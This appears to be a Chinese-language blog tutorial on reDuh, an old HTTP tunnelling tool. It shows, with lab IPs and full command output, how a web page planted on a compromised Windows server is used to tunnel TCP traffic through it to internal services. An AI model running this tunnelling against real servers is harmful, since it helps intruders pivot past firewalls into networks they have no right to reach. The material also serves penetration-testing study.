专注APT攻击与防御

https://micropoor.blogspot.com/

reDuh简介：

reDuh是sensepost由2008-07年发布，从本质上讲，可以将JSP/PHP/ASP/ASPX等页面上

传到目标服务器，便可以访问该服务器后面的主机。

BlackHat USA 2008介绍：https://drive.google.com/open?id=1AqmtuBnHQJS-FjVHzJMNNWokda048By-

Github：

https://github.com/sensepost/reDuh

攻击机： 192.168.1.5 Debian

192.168.1.4 Windows 7

靶机： 192.168.1.119 Windows 2003

安装：

1 root@John:~# git clone https://github.com/sensepost/reDuh.git

2 Cloning into 'reDuh'...

3 remote: Enumerating objects: 47, done.

4 remote: Total 47 (delta 0), reused 0 (delta 0), pack‐reused 47

5 Unpacking objects: 100% (47/47), done.

6 root@John:~# cd reDuh/

7 root@John:~/reDuh# ls

8 README.markdown reDuhClient reDuhServers

靶机执行：

以aspx为demo。

攻击机执行：

绑定端口：

1 root@John:~/reDuh/reDuhClient/dist# java ‐jar reDuhClient.jar http://1 92.168.1.119/reDuh.aspx

2 [Info]Querying remote web page for usable remote service port

3 [Info]Remote RPC port chosen as 42000

4 [Info]Attempting to start reDuh from 192.168.1.119:80/reDuh.aspx. Usin g service port 42000. Please wait...

5 [Info]reDuhClient service listener started on local port 1010

开启新terminal，建立隧道

命令如下：

[createTunnel][本地绑定端口]:127.0.0.1:[远程端口]

1 root@John:~# telnet 127.0.0.1 1010

2 Trying 127.0.0.1...

3 Connected to 127.0.0.1.

4 Escape character is '^]'.

5 Welcome to the reDuh command line

6 >>[createTunnel]30080:127.0.0.1:80

7 Successfully bound locally to port 30080. Awaiting connections.

攻击机端口前后对比：

1 root@John:~# netstat ‐ntlp

2 Active Internet connections (only servers)

3 Proto Recv‐Q Send‐Q Local Address Foreign Address State PID/Program na me

4 tcp 0 0 0.0.0.0:902 0.0.0.0:\* LISTEN 809/vmware‐authdlau

5 tcp 0 0 0.0.0.0:22 0.0.0.0:\* LISTEN 674/sshd

6 tcp6 0 0 :::902 :::\* LISTEN 809/vmware‐authdlau

7 tcp6 0 0 :::22 :::\* LISTEN 674/sshd

8 root@John:~# netstat ‐ntlp

9 Active Internet connections (only servers)

10 Proto Recv‐Q Send‐Q Local Address Foreign Address State PID/Program na me

11 tcp 0 0 0.0.0.0:902 0.0.0.0:\* LISTEN 809/vmware‐authdlau

12 tcp 0 0 0.0.0.0:22 0.0.0.0:\* LISTEN 674/sshd

13 tcp6 0 0 :::902 :::\* LISTEN 809/vmware‐authdlau

14 tcp6 0 0 :::1010 :::\* LISTEN 6102/java

15 tcp6 0 0 :::22 :::\* LISTEN 674/sshd

16 tcp6 0 0 :::30080 :::\* LISTEN 6102/java 17

访问攻击机30080端口，既等价于访问靶机80端口

1 root@John:~# curl http://192.168.1.5:30080/

2 <html> 3

4 <head>

5 <meta HTTP‐EQUIV="Content‐Type" Content="text/html; charset=gb2312"> 6

7

8 <title ID=titletext>建设中</title>

9 </head> 10

11 <body bgcolor=white> 12

13 ... 14

15 </body>

16 </html>

遗憾的是reDuh年代久远，使用繁琐，并官方已停止维护。但是它奠定了HTTP隧道。

Micropoor